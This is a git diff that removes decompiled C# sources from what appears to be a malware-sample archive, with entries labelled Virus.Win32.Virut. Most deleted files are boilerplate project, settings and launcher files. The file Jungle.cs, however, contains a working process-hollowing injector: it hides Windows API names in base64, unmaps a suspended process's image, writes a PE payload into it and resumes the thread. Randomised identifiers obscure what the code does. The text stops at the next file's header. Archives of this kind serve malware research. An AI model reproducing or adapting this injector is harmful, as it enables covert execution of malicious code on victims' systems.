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 - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.af-aff9bba96e482313952036dcb188d1e61b55115cab9bc23c4a365ea2decdb065/Program.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.af-aff9bba96e482313952036dcb188d1e61b55115cab9bc23c4a365ea2decdb065/Program.cs deleted file mode 100644 index 3c162b5b..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.af-aff9bba96e482313952036dcb188d1e61b55115cab9bc23c4a365ea2decdb065/Program.cs +++ /dev/null @@ -1,22 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Toya.Upgrade.Program -// Assembly: Toya.Upgrade, Version=1.0.0.0, Culture=neutral, PublicKeyToken=17364d3304d11368 -// MVID: 0375251D-E018-4B03-B16E-A2B257E37C3F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Virut.af-aff9bba96e482313952036dcb188d1e61b55115cab9bc23c4a365ea2decdb065.exe - -using System; -using System.Windows.Forms; - -namespace Toya.Upgrade -{ - internal static class Program - { - [STAThread] - private static void Main(string[] args) - { - Application.EnableVisualStyles(); - Application.SetCompatibleTextRenderingDefault(false); - Application.Run((Form) new FrmMain(args)); - } - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.af-aff9bba96e482313952036dcb188d1e61b55115cab9bc23c4a365ea2decdb065/Properties/Resources.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.af-aff9bba96e482313952036dcb188d1e61b55115cab9bc23c4a365ea2decdb065/Properties/Resources.cs deleted file mode 100644 index 89eed6bf..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.af-aff9bba96e482313952036dcb188d1e61b55115cab9bc23c4a365ea2decdb065/Properties/Resources.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Toya.Upgrade.Properties.Resources -// Assembly: Toya.Upgrade, Version=1.0.0.0, Culture=neutral, PublicKeyToken=17364d3304d11368 -// MVID: 0375251D-E018-4B03-B16E-A2B257E37C3F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Virut.af-aff9bba96e482313952036dcb188d1e61b55115cab9bc23c4a365ea2decdb065.exe - -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace Toya.Upgrade.Properties -{ - [DebuggerNonUserCode] - [CompilerGenerated] - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")] - internal class Resources - { - private static ResourceManager resourceMan; - private static CultureInfo resourceCulture; - - internal Resources() - { - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (Toya.Upgrade.Properties.Resources.resourceMan == null) - Toya.Upgrade.Properties.Resources.resourceMan = new ResourceManager("Toya.Upgrade.Properties.Resources", typeof (Toya.Upgrade.Properties.Resources).Assembly); - return Toya.Upgrade.Properties.Resources.resourceMan; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get => Toya.Upgrade.Properties.Resources.resourceCulture; - set => Toya.Upgrade.Properties.Resources.resourceCulture = value; - } - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.af-aff9bba96e482313952036dcb188d1e61b55115cab9bc23c4a365ea2decdb065/Properties/Resources.resx b/MSIL/Virus/Win32/V/Virus.Win32.Virut.af-aff9bba96e482313952036dcb188d1e61b55115cab9bc23c4a365ea2decdb065/Properties/Resources.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.af-aff9bba96e482313952036dcb188d1e61b55115cab9bc23c4a365ea2decdb065/Properties/Resources.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.af-aff9bba96e482313952036dcb188d1e61b55115cab9bc23c4a365ea2decdb065/Properties/Settings.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.af-aff9bba96e482313952036dcb188d1e61b55115cab9bc23c4a365ea2decdb065/Properties/Settings.cs deleted file mode 100644 index 96749521..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.af-aff9bba96e482313952036dcb188d1e61b55115cab9bc23c4a365ea2decdb065/Properties/Settings.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Toya.Upgrade.Properties.Settings -// Assembly: Toya.Upgrade, Version=1.0.0.0, Culture=neutral, PublicKeyToken=17364d3304d11368 -// MVID: 0375251D-E018-4B03-B16E-A2B257E37C3F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Virut.af-aff9bba96e482313952036dcb188d1e61b55115cab9bc23c4a365ea2decdb065.exe - -using System.CodeDom.Compiler; -using System.Configuration; -using System.Runtime.CompilerServices; - -namespace Toya.Upgrade.Properties -{ - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")] - [CompilerGenerated] - internal sealed class Settings : ApplicationSettingsBase - { - private static Settings defaultInstance = (Settings) SettingsBase.Synchronized((SettingsBase) new Settings()); - - public static Settings Default => Settings.defaultInstance; - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.af-aff9bba96e482313952036dcb188d1e61b55115cab9bc23c4a365ea2decdb065/Virus.Win32.Virut.af.csproj b/MSIL/Virus/Win32/V/Virus.Win32.Virut.af-aff9bba96e482313952036dcb188d1e61b55115cab9bc23c4a365ea2decdb065/Virus.Win32.Virut.af.csproj deleted file mode 100644 index 2548c547..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.af-aff9bba96e482313952036dcb188d1e61b55115cab9bc23c4a365ea2decdb065/Virus.Win32.Virut.af.csproj +++ /dev/null @@ -1,51 +0,0 @@ - - - - - Debug - AnyCPU - {77F5CB18-5373-4C95-ADD5-D61DA9753209} - WinExe - Toya.Upgrade - 1.0.0.0 - Toya.Upgrade - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.af-aff9bba96e482313952036dcb188d1e61b55115cab9bc23c4a365ea2decdb065/Virus.Win32.Virut.af.sln b/MSIL/Virus/Win32/V/Virus.Win32.Virut.af-aff9bba96e482313952036dcb188d1e61b55115cab9bc23c4a365ea2decdb065/Virus.Win32.Virut.af.sln deleted file mode 100644 index 28cb12d5..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.af-aff9bba96e482313952036dcb188d1e61b55115cab9bc23c4a365ea2decdb065/Virus.Win32.Virut.af.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Toya.Upgrade", "Virus.Win32.Virut.af-aff9bba96e482313952036dcb188d1e61b55115cab9bc23c4a365ea2decdb065.csproj", "{77F5CB18-5373-4C95-ADD5-D61DA9753209}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {77F5CB18-5373-4C95-ADD5-D61DA9753209}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {77F5CB18-5373-4C95-ADD5-D61DA9753209}.Debug|Any CPU.Build.0 = Debug|Any CPU - {77F5CB18-5373-4C95-ADD5-D61DA9753209}.Release|Any CPU.ActiveCfg = Release|Any CPU - {77F5CB18-5373-4C95-ADD5-D61DA9753209}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-3d2414f8b1eab949c1137dfaf70dd34b31e860b5d02b356b1d3a07a2b6a42731/AssemblyInfo.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-3d2414f8b1eab949c1137dfaf70dd34b31e860b5d02b356b1d3a07a2b6a42731/AssemblyInfo.cs deleted file mode 100644 index 1e886428..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-3d2414f8b1eab949c1137dfaf70dd34b31e860b5d02b356b1d3a07a2b6a42731/AssemblyInfo.cs +++ /dev/null @@ -1,3 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-3d2414f8b1eab949c1137dfaf70dd34b31e860b5d02b356b1d3a07a2b6a42731/Jungle.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-3d2414f8b1eab949c1137dfaf70dd34b31e860b5d02b356b1d3a07a2b6a42731/Jungle.cs deleted file mode 100644 index f4a7bf7a..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-3d2414f8b1eab949c1137dfaf70dd34b31e860b5d02b356b1d3a07a2b6a42731/Jungle.cs +++ /dev/null @@ -1,139 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Jungle -// Assembly: 123, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 3E1AEEED-3C8F-4FD4-B5E3-3EE641855491 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Virut.ce-3d2414f8b1eab949c1137dfaf70dd34b31e860b5d02b356b1d3a07a2b6a42731.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Runtime.InteropServices; -using System.Text; - -[StandardModule] -internal sealed class Jungle -{ - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern IntPtr LoadLibraryA([MarshalAs(UnmanagedType.VBByRefStr)] ref string name); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern IntPtr GetProcAddress(IntPtr handle, [MarshalAs(UnmanagedType.VBByRefStr)] ref string name); - - public static T uaudtkjgyirfbxgkwnan(string name, string method) => (T) Marshal.GetDelegateForFunctionPointer(Jungle.GetProcAddress(Jungle.LoadLibraryA(ref name), ref method), typeof (T)); - - public static bool yglgwgdiliknhk(byte[] uqgycnjiknhkagfbjqd, string pzxbickcbxkqrrbb) - { - Jungle.qrcfkrbqgnvqowkotazx qrcfkrbqgnvqowkotazx = Jungle.uaudtkjgyirfbxgkwnan(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("Q3JlYXRlUHJvY2Vzc0E="))); - Jungle.rcucvabyilfqtsczprb rcucvabyilfqtsczprb = Jungle.uaudtkjgyirfbxgkwnan(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("R2V0VGhyZWFkQ29udGV4dA=="))); - Jungle.tovdnpeketcxszjndiwn tovdnpeketcxszjndiwn = Jungle.uaudtkjgyirfbxgkwnan(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("UmVhZFByb2Nlc3NNZW1vcnk="))); - Jungle.gfrsbdrwpxxdchnzcuu gfrsbdrwpxxdchnzcuu = Jungle.uaudtkjgyirfbxgkwnan(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("VmlydHVhbEFsbG9jRXg="))); - Jungle.orpuhtusqcaecvhbpgk orpuhtusqcaecvhbpgk = Jungle.uaudtkjgyirfbxgkwnan(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("V3JpdGVQcm9jZXNzTWVtb3J5"))); - Jungle.fbiwwfvcqkvzpejryqq fbiwwfvcqkvzpejryqq = Jungle.uaudtkjgyirfbxgkwnan(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("U2V0VGhyZWFkQ29udGV4dA=="))); - Jungle.qwcbhkowiggklhqxcez qwcbhkowiggklhqxcez = Jungle.uaudtkjgyirfbxgkwnan(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("UmVzdW1lVGhyZWFk"))); - Jungle.gocngjjzjswdligx gocngjjzjswdligx = Jungle.uaudtkjgyirfbxgkwnan(Encoding.UTF8.GetString(Convert.FromBase64String("bnRkbGw=")), Encoding.UTF8.GetString(Convert.FromBase64String("WndVbm1hcFZpZXdPZlNlY3Rpb24="))); - bool flag; - try - { - IntPtr zero1 = IntPtr.Zero; - IntPtr[] wjqhztdqqfvihdnejqf = new IntPtr[4]; - byte[] bezzveiceppbdtpjvgvr = new byte[68]; - int int32_1 = BitConverter.ToInt32(uqgycnjiknhkagfbjqd, 60); - int int16 = (int) BitConverter.ToInt16(uqgycnjiknhkagfbjqd, checked (int32_1 + 6)); - IntPtr unexaspqvfrqgeiu = new IntPtr(BitConverter.ToInt32(uqgycnjiknhkagfbjqd, checked (int32_1 + 84))); - if (qrcfkrbqgnvqowkotazx((string) null, new StringBuilder(pzxbickcbxkqrrbb), zero1, zero1, false, 4, zero1, (string) null, bezzveiceppbdtpjvgvr, wjqhztdqqfvihdnejqf)) - { - uint[] numArray1 = new uint[179]; - numArray1[0] = 65538U; - if (rcucvabyilfqtsczprb(wjqhztdqqfvihdnejqf[1], numArray1)) - { - IntPtr tkgpprxflwbvtnkit = new IntPtr(checked ((long) numArray1[41] + 8L)); - IntPtr zero2 = IntPtr.Zero; - IntPtr xjyoeulnvhdoizzfvt = new IntPtr(4); - IntPtr zero3 = IntPtr.Zero; - if (tovdnpeketcxszjndiwn(wjqhztdqqfvihdnejqf[0], tkgpprxflwbvtnkit, ref zero2, (int) xjyoeulnvhdoizzfvt, ref zero3) && gocngjjzjswdligx(wjqhztdqqfvihdnejqf[0], zero2) == 0U) - { - IntPtr num1 = new IntPtr(BitConverter.ToInt32(uqgycnjiknhkagfbjqd, checked (int32_1 + 52))); - IntPtr num2 = new IntPtr(BitConverter.ToInt32(uqgycnjiknhkagfbjqd, checked (int32_1 + 80))); - IntPtr vtxceuzwsgnhcrkbsfrh = gfrsbdrwpxxdchnzcuu(wjqhztdqqfvihdnejqf[0], num1, num2, 12288, 64); - int int32_2 = vtxceuzwsgnhcrkbsfrh.ToInt32(); - int dxuexfagacgrbvxohsh; - int num3 = orpuhtusqcaecvhbpgk(wjqhztdqqfvihdnejqf[0], vtxceuzwsgnhcrkbsfrh, uqgycnjiknhkagfbjqd, checked ((uint) (int) unexaspqvfrqgeiu), dxuexfagacgrbvxohsh) ? 1 : 0; - int num4 = checked (int16 - 1); - int num5 = 0; - while (num5 <= num4) - { - int[] dst = new int[10]; - Buffer.BlockCopy((Array) uqgycnjiknhkagfbjqd, checked (int32_1 + 248 + num5 * 40), (Array) dst, 0, 40); - byte[] numArray2 = new byte[checked (dst[4] - 1 + 1)]; - Buffer.BlockCopy((Array) uqgycnjiknhkagfbjqd, dst[5], (Array) numArray2, 0, numArray2.Length); - num2 = new IntPtr(checked (int32_2 + dst[3])); - num1 = new IntPtr(numArray2.Length); - int num6 = orpuhtusqcaecvhbpgk(wjqhztdqqfvihdnejqf[0], num2, numArray2, checked ((uint) (int) num1), dxuexfagacgrbvxohsh) ? 1 : 0; - checked { ++num5; } - } - num2 = new IntPtr(checked ((long) numArray1[41] + 8L)); - num1 = new IntPtr(4); - int num7 = orpuhtusqcaecvhbpgk(wjqhztdqqfvihdnejqf[0], num2, BitConverter.GetBytes(vtxceuzwsgnhcrkbsfrh.ToInt32()), checked ((uint) (int) num1), dxuexfagacgrbvxohsh) ? 1 : 0; - numArray1[44] = checked ((uint) (vtxceuzwsgnhcrkbsfrh.ToInt32() + BitConverter.ToInt32(uqgycnjiknhkagfbjqd, int32_1 + 40))); - int num8 = fbiwwfvcqkvzpejryqq(wjqhztdqqfvihdnejqf[1], numArray1) ? 1 : 0; - } - } - int num = (int) qwcbhkowiggklhqxcez(wjqhztdqqfvihdnejqf[1]); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - flag = false; - ProjectData.ClearProjectError(); - goto label_11; - } - return true; -label_11: - return flag; - } - - [return: MarshalAs(UnmanagedType.Bool)] - public delegate bool qrcfkrbqgnvqowkotazx( - string vqhgnxhvtgaixrkr, - StringBuilder sfpleudarlvstvphxd, - IntPtr opceqaenbxpkoyqjrx, - IntPtr yletcelaqjwjnjixt, - [MarshalAs(UnmanagedType.Bool)] bool soonufgywgkruuxdkj, - int zqquneivrpwqncwjs, - IntPtr ydfgwwtlcaycdbjgbgse, - string vbjsaqfkuthodbrjh, - byte[] bezzveiceppbdtpjvgvr, - IntPtr[] wjqhztdqqfvihdnejqf); - - public delegate bool orpuhtusqcaecvhbpgk( - IntPtr skxaxwzisjyqiflcqjtz, - IntPtr vtxceuzwsgnhcrkbsfrh, - byte[] hbqpinezvrptngfqfkx, - uint unexaspqvfrqgeiu, - int dxuexfagacgrbvxohsh); - - [return: MarshalAs(UnmanagedType.Bool)] - public delegate bool tovdnpeketcxszjndiwn( - IntPtr yndoerzhrcoyfexh, - IntPtr tkgpprxflwbvtnkit, - ref IntPtr gajudtehsfbihyjgxlby, - int xjyoeulnvhdoizzfvt, - ref IntPtr iljuhsatzgrbpaaylc); - - public delegate IntPtr gfrsbdrwpxxdchnzcuu( - IntPtr iqsebovyqdhwqbpfs, - IntPtr xdiiqrxtbnwjzyurvdj, - IntPtr xzohxargiyhzpnsovq, - int oiypvloixyvqvvbn, - int tksgnzvtpxizobuvsi); - - public delegate uint gocngjjzjswdligx(IntPtr rskufyftnnrxoggv, IntPtr pjplyockxlgiyqsd); - - public delegate uint qwcbhkowiggklhqxcez(IntPtr avojgvabofsqvffsjrpr); - - [return: MarshalAs(UnmanagedType.Bool)] - public delegate bool rcucvabyilfqtsczprb(IntPtr fvtookancwfyduva, uint[] hjvyxexshckpfufon); - - [return: MarshalAs(UnmanagedType.Bool)] - public delegate bool fbiwwfvcqkvzpejryqq(IntPtr jefplkrbcsdjqydnwepz, uint[] ehlgzpcblholqlxyux); -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-3d2414f8b1eab949c1137dfaf70dd34b31e860b5d02b356b1d3a07a2b6a42731/Module2.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-3d2414f8b1eab949c1137dfaf70dd34b31e860b5d02b356b1d3a07a2b6a42731/Module2.cs deleted file mode 100644 index 14d15306..00000000 